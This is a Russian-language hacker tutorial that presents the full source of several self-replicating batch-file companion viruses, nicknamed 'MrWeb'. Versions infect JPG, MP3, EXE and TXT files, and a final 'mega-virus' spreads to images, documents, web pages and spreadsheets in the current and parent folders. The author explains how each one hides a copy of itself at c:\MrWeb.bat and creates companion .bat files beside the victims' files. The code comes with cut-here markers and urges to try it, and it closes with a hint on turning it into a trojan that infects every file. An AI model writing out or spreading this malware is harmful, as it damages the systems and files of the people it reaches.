Вам известно, что JPG-файлы - это картинки. И вы наверно слышали, что заражать их нельзя. Но на самом деле заражать можно почти все. Вот смотрите. Вирус заражает *.JPG в текущем каталоге.
------------------------ резать тут -----------------------------
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
------------------------ резать тут -----------------------------
Как видите, этот вирус является BAT-файлом. Принцип работы такой же как и у BAT-вирусов.
Если вы не поняли как все это работает, то объясняю. Каждая вирусная строка имеет метку "MrWeb", в каких-то строках эта метка не является пассивной, т.е. учавствует в работе вируса, например во-второй строке вируса "if '%1=='In_ goto MrWebin" эта метка содержится в метке "MrWebin", а вот в первой строке эта метка является пассивной и поэтому она заключена в знаки процента. Дак вот, при старте вируса происходит копирование вирусных строк (с меткой) в специальный файл "c:\MrWeb.bat", конечно это происходит если данный файл не был раньше создан вирусом. Дальше вирус ищет *.JPG, если находит то заражает их, для этого вирус вызывает файл c:\MrWeb.bat и передает ему имя файла, который следует заразить. Принцип заражения: например найден файл 001.JPG, вирус создает вирусный файл 001.JPG.bat, т.е. принцип компаньон-вируса. Юзер захочет посмотреть картинку, щелкнет по нему мышкой и увидит то, что хотел увидеть, т.е. картинку, а тем временем заразятся все другие картинки.
Круто? :) И это еще не все, кто-то может еще сомневается, что можно заразить любой файл... Так, какие типы файлов будем заражать? Файлы *.mp3 ? Музыку значит. Нет проблем.
Смотрите:
------------------------ резать тут -----------------------------
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.mp3) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
------------------------ резать тут -----------------------------
Только знайте, если вы запускали первый пример вируса, а теперь хотите с этим поприкалываться, то удалите сначала специальный файл "c:\MrWeb.bat", а то будете потом говорить, что mp3 ни3я заразить...
Чтобы еще-то заразить... Давайте что-нибудь из классики, например *.EXE. Так...
------------------------ резать тут -----------------------------
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.exe) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo %2>>%2.bat%[MrWeb]%
:MrWeben
------------------------ резать тут -----------------------------
Учтите, что этот пример от предыдущего отличается не только банальным "*.exe", но и убиранием вызова виндовской программы start. :)
Что? *.txt заразить? Можно, хотя и не совсем нужно. Но я же говорил, что заражать можно все, значит получайте:
------------------------ резать тут -----------------------------
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.txt) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
------------------------ резать тут -----------------------------
Но это были всё пистики, а теперь тыковки. Внимание. Представляю вам мега-вирус, он заражает *.jpg *.mp3 *.doc *.htm? *.xls. Причем заражает не только в текущем каталоге, но и надкаталоге, поэтому не удивляйтесь, если при его испытании, он расползется по всему винту.
Вот он
:
------------------------ резать тут
-----------------------------
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
------------------------ резать тут
-----------------------------
Напоминаю
, если вы испытывали предыдущие примеры
, то перед испытанием этого удалите файл
c:\MrWeb.bat.
Если у вас проскакивает мысля о том, чтобы заражать "*.*", т.е. все типы файлов, то скажу, что это возможно, только нужно сделать, чтобы вирус пропускал *.bat, если это не сделать, то получится не вирус, а прикольный троян, можете проверить ;).
H-I.N